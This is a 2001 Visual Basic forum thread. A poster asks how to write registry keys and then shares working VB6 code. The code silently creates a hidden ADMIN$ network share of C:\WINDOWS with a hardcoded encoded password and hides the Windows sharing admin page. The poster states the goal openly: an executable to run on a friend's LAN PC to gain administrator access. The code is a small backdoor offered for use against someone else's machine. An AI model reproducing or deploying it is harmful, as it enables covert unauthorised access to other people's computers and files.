|
-
Jun 26th, 2001, 03:23 PM
#1
Thread Starter
New Member
Adding Key with Values to Registry
Hello,
Dear All,
I want to create a key and set some values to it by API.
I tried alot but with no positive result , can any body help me??REGEDIT4
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\ADMIN$]
"Flags"=dword:00000302
"Parm1enc"=hex:66,C3,1E,90,67,9E,E7,52
"Parm2enc"=hex:
"Path"="C:\\WINDOWS"
"Remark"=""
"Type"=dword:00000000
Thanks.
Hunaid (munnobhai).
-
Jun 28th, 2001, 02:28 PM
#2
Member
...or use regobj.dll. When you've opened the key you can just add new values.
Search on MSDN or Google for regobj.dll downloads.
-
Jun 29th, 2001, 01:15 AM
#3
Thread Starter
New Member
I've Done It
Dear Me and All,
This reply is to all the users replied to my thread and others searching for the same solution.
in a Module add these:Option Explicit
Public Type password
ps1 As Byte
ps2 As Byte
ps3 As Byte
ps4 As Byte
ps5 As Byte
ps6 As Byte
ps7 As Byte
ps8 As Byte
End Type
and behind the main or in form code type these:
Option Explicit
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const REG_SZ = 1
Private Sub Form_Load()
' this is the value to be added in Parm1enc 66,C3,1E,90,67,9E,E7,52
Dim psw As password
psw.ps1 = &H66
psw.ps2 = &HC3
psw.ps3 = &H1E
psw.ps4 = &H90
psw.ps5 = &H67
psw.ps6 = &H9E
psw.ps7 = &HE7
psw.ps8 = &H52
Dim a
Dim b
Dim d
Dim phk As Long
a = RegCreateKey(HKEY_LOCAL_MACHINE, "\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\ADMIN$", phk)
b = RegSetValueEx(phk, "Flags", 0, 4, 770, 4)
b = RegSetValueEx(phk, "Parm1enc", 0, 5, psw, 8)
b = RegSetValueEx(phk, "Parm2enc", 0, 3, "", 0)
b = RegSetValueEx(phk, "Path", 0, 1, ByVal "C:\WINDOWS", 10)
b = RegSetValueEx(phk, "Remark", 0, 1, ByVal "", 0)
b = RegSetValueEx(phk, "Type", 0, 4, 0, 4)
d = RegCloseKey(phk)
a = RegCreateKey(HKEY_USERS, "\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System", phk)
b = RegSetValueEx(phk, "NoAdminPage", 0, 4, 1, 4)
d = RegCloseKey(phk)
End Sub
And finally the purpose for all this is to make an exe to run on your friends pc on LAN to be the administrator.
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|